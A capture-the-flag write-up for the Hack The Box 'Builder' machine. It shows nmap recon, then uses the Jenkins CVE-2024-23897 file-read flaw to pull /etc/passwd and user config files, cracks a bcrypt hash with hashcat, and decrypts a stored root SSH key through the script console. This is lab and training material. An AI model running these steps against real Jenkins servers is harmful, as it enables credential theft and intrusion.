Builder - Writeup
Builder

Reconnaissance
IP: 10.10.11.10
NMAP
nmap -T4 -p- -A 10.10.11.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 15:49 UTC
Nmap scan report for 10.10.11.10
Host is up (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Dashboard [Jenkins]
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 30.10 ms 10.10.14.1
2 30.52 ms 10.10.11.10
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.85 seconds
Website
Site
Jenkins Dashboard

in credentials we can spot user root

and in people jennifer

searching for version exploits 2.441 I found https://www.exploit-db.com/exploits/51993 https://www.jenkins.io/security/advisory/2024-01-24/
Manual Check
Manual enumeration I made after rooting machine with 0xdf write up
https://0xdf.gitlab.io/2024/02/12/htb-builder.html
download it http://10.10.11.10:8080/jnlpJars/jenkins-cli.jar

Confirming that this works:
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' who-am-i
java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080' help '@/etc/passwd'

CVE-2024-23897 Jenkins 2.441 - Local File Inclusion
Now let’s back to my method, get python script to your pc https://www.exploit-db.com/exploits/51993 and use command from poc:
python3 51993.py -u http://10.10.11.10:8080/ -p /etc/passwd

Great it works, now I want to access users.xml, searching google I found great jenkins cheatsheet paths https://github.com/godylockz/CVE-2024-23897
python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/users/users.xml

Now we have username, so let’s use next path to find password hash
python3 51993.py -u http://10.10.11.10:8080/ -p /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

Ok we got bcrypt password so let’s attempt to crack it with hashcat module 3200
hashcat hash /usr/share/wordlists/rockyou.txt -m 3200

Now we are able to login to jenkins web panel with jennifer credentials

We can take user txt using reverse shell in script console
Privilege Escalation
Now I back to /credentials found earlier however now I can only Update root SSH private key. But After inspecting this file we see that it is encrypted looks like base64

Tried base64 decrypt but not working this time

searching google how to decrypt jenkins I found
https://devops.stackexchange.com/questions/2191/how-to-decrypt-jenkins-passwords-from-credentials-xml
and using this command I manage to retrieve id_rsa
println(hudson.util.Secret.decrypt("{XXX=}"))

and we have root access now. I grabbed 2 flags right now
